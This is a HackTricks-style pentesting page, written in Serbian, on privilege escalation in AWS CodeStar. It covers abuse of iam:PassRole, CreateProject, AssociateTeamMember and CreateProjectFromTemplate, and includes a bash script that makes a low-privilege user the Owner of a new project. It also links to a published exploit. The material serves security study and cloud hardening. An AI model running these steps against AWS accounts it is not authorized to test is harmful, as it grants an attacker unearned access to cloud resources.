# AWS - Codestar Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Codestar

Možete pronaći više informacija o codestar-u u:

{{#ref}}
codestar-createproject-codestar-associateteammember.md
{{#endref}}

### `iam:PassRole`, `codestar:CreateProject`

Sa ovim dozvolama možete **zloupotrebiti codestar IAM ulogu** da izvršite **arbitrarne radnje** putem **cloudformation šablona**. Proverite sledeću stranicu:

{{#ref}}
iam-passrole-codestar-createproject.md
{{#endref}}

### `codestar:CreateProject`, `codestar:AssociateTeamMember`

Ova tehnika koristi `codestar:CreateProject` za kreiranje codestar projekta, i `codestar:AssociateTeamMember` da učini IAM korisnika **vlasnikom** novog CodeStar **projekta**, što će im omogućiti **novu politiku sa nekoliko dodatnih dozvola**.
```bash
PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed
```
Ako ste već **član projekta**, možete koristiti dozvolu **`codestar:UpdateTeamMember`** da **ažurirate svoju ulogu** na vlasnika umesto `codestar:AssociateTeamMember`.

**Potencijalni uticaj:** Privesc na generisanu codestar politiku. Primer te politike možete pronaći u:

{{#ref}}
codestar-createproject-codestar-associateteammember.md
{{#endref}}

### `codestar:CreateProjectFromTemplate`

1. **Kreirajte novi projekat:**
- Iskoristite akciju **`codestar:CreateProjectFromTemplate`** da započnete kreiranje novog projekta.
- Nakon uspešnog kreiranja, pristup se automatski dodeljuje za **`cloudformation:UpdateStack`**.
- Ovaj pristup se specifično odnosi na stek povezan sa `CodeStarWorker-<generic project name>-CloudFormation` IAM ulogom.
2. **Ažurirajte ciljni stek:**
- Sa dodeljenim CloudFormation dozvolama, nastavite da ažurirate navedeni stek.
- Ime steka će obično odgovarati jednom od dva obrasca:
- `awscodestar-<generic project name>-infrastructure`
- `awscodestar-<generic project name>-lambda`
- Tačno ime zavisi od odabranog šablona (referišući se na primer eksploatacionog skripta).
3. **Pristup i dozvole:**
- Nakon ažuriranja, dobijate mogućnosti dodeljene **CloudFormation IAM ulozi** povezanoj sa stekom.
- Napomena: Ovo ne pruža inherentno pune administratorske privilegije. Dodatni pogrešno konfigurisani resursi unutar okruženja mogu biti potrebni za dalju eskalaciju privilegija.

Za više informacija proverite originalno istraživanje: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
Eksploit možete pronaći na [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)

**Potencijalni uticaj:** Privesc na cloudformation IAM ulogu.

{{#include ../../../../banners/hacktricks-training.md}}
